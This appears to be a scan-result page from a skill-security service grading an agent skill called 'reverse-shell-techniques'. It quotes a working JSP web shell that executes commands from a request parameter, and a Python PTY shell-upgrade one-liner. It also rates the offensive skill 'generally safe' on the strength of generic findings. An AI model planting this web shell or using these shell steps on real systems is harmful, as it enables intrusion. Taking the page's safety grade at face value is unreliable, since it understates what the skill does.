reverse-shell-techniques

github.com/yaklang/hack-skills
Verdict: Generally safe
0 critical0 high3 medium
B
SCORE 75 / 100
$skillox install reverse-shell-techniquesSoon
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Why grade B?

score · 75 / 100

The current grade reflects 3 medium findings (3+ MEDs → B).

0 CRIT0 HIGH3 MED0 LOW
To reach a higher grade
  • A
    Reach Atarget score 95

    Resolve 1 of 3 MED (cap is 2).

Thresholds are documented at /docs/grading. Source-of-truth is the grade() function in @skillox/scanner.

Latest scan findings

Scan crawl-e1lzzf0zlm02rgmwipy98iov · Thu, 28 May 2026 17:30:08 GMT · 1ms

med
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
rule: subprocess-executionline: 104CWE-78
▾
102```jsp
103<%@ page import="java.io.*" %>
104<% Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));← spawns a subprocess outside declared capabilities
105BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
106String l;while((l=br.readLine())!=null){out.println(l);} %>
med
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
rule: subprocess-executionline: 126CWE-78
▾
124```bash
125# Step 1: Spawn PTY
126python3 -c 'import pty;pty.spawn("/bin/bash")'← spawns a subprocess outside declared capabilities
127
128# Step 2: Background shell
med
No capability manifest declared
The skill ships without a `manifest.yaml` or `capabilities` block in its frontmatter. Without a manifest, the runtime cannot enforce what this skill is permitted to do.
rule: no-manifest
▾
View latest scan →
skillox.io/c/reverse-shell-techniques